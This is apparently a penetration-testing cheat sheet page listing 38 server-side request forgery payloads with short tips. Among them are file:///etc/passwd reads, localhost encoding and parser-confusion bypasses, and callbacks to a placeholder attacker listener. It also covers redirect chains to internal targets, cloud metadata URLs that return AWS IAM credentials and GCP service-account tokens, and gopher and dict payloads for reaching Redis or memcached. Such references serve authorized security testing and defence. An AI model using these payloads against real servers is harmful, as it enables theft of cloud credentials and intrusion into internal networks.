Server-side request forgery

class

Making the server issue an HTTP request you control, to somewhere it can reach and you cannot.

38 payloads · updated 2026-08-24 · see also Encoding and bypass · raw

01Does it fetch, and do you see the result?

Two questions, and the second decides how pleasant the rest of this is.

Start with a URL whose response you would recognise. If the fetched body is rendered back to you, the SSRF is in-band — you can read internal services directly instead of inferring them a bit at a time.

IN-BAND — IS THE BODY REFLECTED?5

https://example.com/Does "Example Domain" come back in the response? Then you can read whatever it fetches.

ENCCOPY

file:///etc/passwdThe fastest proof the fetcher is unrestricted, and far easier to explain in a report than a gopher payload.

ENCCOPY

file:///c:/windows/win.ini

ENCCOPY

http://127.0.0.1/Straight at localhost. Even an error naming a port is information.

ENCCOPY

http://127.0.0.1:22/Pick a port you know is open. A banner or a protocol-mismatch error confirms you reached it.

ENCCOPY

Read the error, not just the body. "Connection refused" on 8080 and "timed out" on 9090 is a working port scanner. A distinct error per port is nearly as useful as reading the response.

02Nothing reflected — confirm out-of-band

OUT-OF-BAND CONFIRM3

http://{{CALLBACK}}/Watch the DNS hit and the HTTP hit as two separate events.

ENCCOPY

//{{CALLBACK}}/Protocol-relative. Sometimes survives a scheme check.

ENCCOPY

http://{{IP}}:{{PORT}}/Straight to your own listener.

ENCCOPY

A DNS hit with no HTTP hit means something resolved the name and then refused the connection — usually an egress filter rather than the application. That distinction decides what you try next, so check your collaborator's DNS and HTTP tabs separately.

03Reaching localhost

The blocklist is almost always string matching, not resolution.

LOCALHOST FORMS12

127.0.0.1

ENCCOPY

0177.0.0.1Octal.

ENCCOPY

0x7f.0.0.1Hex per octet.

ENCCOPY

2130706433The whole address as a 32-bit integer.

ENCCOPY

0x7f000001

ENCCOPY

017700000001

ENCCOPY

127.1Short form. Missing octets are padded from the last one.

ENCCOPY

127.0.0.1.nip.ioPublic DNS that resolves to whatever is in the name.

ENCCOPY

localtest.mePublic DNS, permanently points at 127.0.0.1.

ENCCOPY

0.0.0.0On Linux this reaches localhost and is rarely in a blocklist.

ENCCOPY

[::1]

ENCCOPY

[::ffff:127.0.0.1]IPv4-mapped IPv6.

ENCCOPY

PARSER CONFUSION4

http://127.0.0.1#@{{CALLBACK}}/

ENCCOPY

http://{{CALLBACK}}@127.0.0.1/Everything before the @ is userinfo. A naive parser reads the wrong host.

ENCCOPY

http://127.0.0.1:80\@{{CALLBACK}}/

ENCCOPY

http://①②⑦.⓪.⓪.①/Unicode digits that normalise to ASCII in some resolvers.

ENCCOPY

The reliable defence is resolve-then-check-the-IP. If the application is doing that, none of the above will help and you should look for a redirect instead.

04Redirect chains

Let a server you control do the talking.

REDIRECT2

http://{{CALLBACK}}/redirect?to=http://169.254.169.254/Host a 302 pointing at the internal target. Defeats any check done only on the URL you supplied.

ENCCOPY

http://{{CALLBACK}}/r

ENCCOPY

Check whether the fetcher follows redirects at all before building this. Some do on Location, some only on meta-refresh, some not at all.

05Cloud metadata

The usual reason SSRF is worth reporting as critical.

METADATA ENDPOINTS7

AWS

http://169.254.169.254/latest/meta-data/IMDSv1. IMDSv2 needs a PUT to get a token first, which plain SSRF usually can't do.

ENCCOPY

AWS

http://169.254.169.254/latest/meta-data/iam/security-credentials/

ENCCOPY

GCP

http://metadata.google.internal/computeMetadata/v1/Requires the header Metadata-Flavor: Google, so you need header control too.

ENCCOPY

GCP

http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

ENCCOPY

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01Requires the header Metadata: true.

ENCCOPY

DigitalOcean

http://169.254.169.254/metadata/v1.json

ENCCOPY

Alibaba

http://100.100.100.100/latest/meta-data/

ENCCOPY

If the target is on IMDSv2 and you cannot set headers, say so in the report rather than claiming credentials are exposed. The finding is still real — it's just not that finding.

06Other schemes

When the fetcher isn't limited to HTTP.

NON-HTTP SCHEMES5

file:///etc/passwd

ENCCOPY

file:///c:/windows/win.ini

ENCCOPY

gopher://{{IP}}:{{PORT}}/_testGopher lets you write arbitrary bytes to a TCP port — the route from SSRF to Redis, SMTP or memcached.

ENCCOPY

dict://{{IP}}:11211/stat

ENCCOPY

ftp://{{CALLBACK}}/

ENCCOPY

file:// is the fastest way to prove the fetcher is unrestricted, and it is much easier to explain in a report than a gopher payload.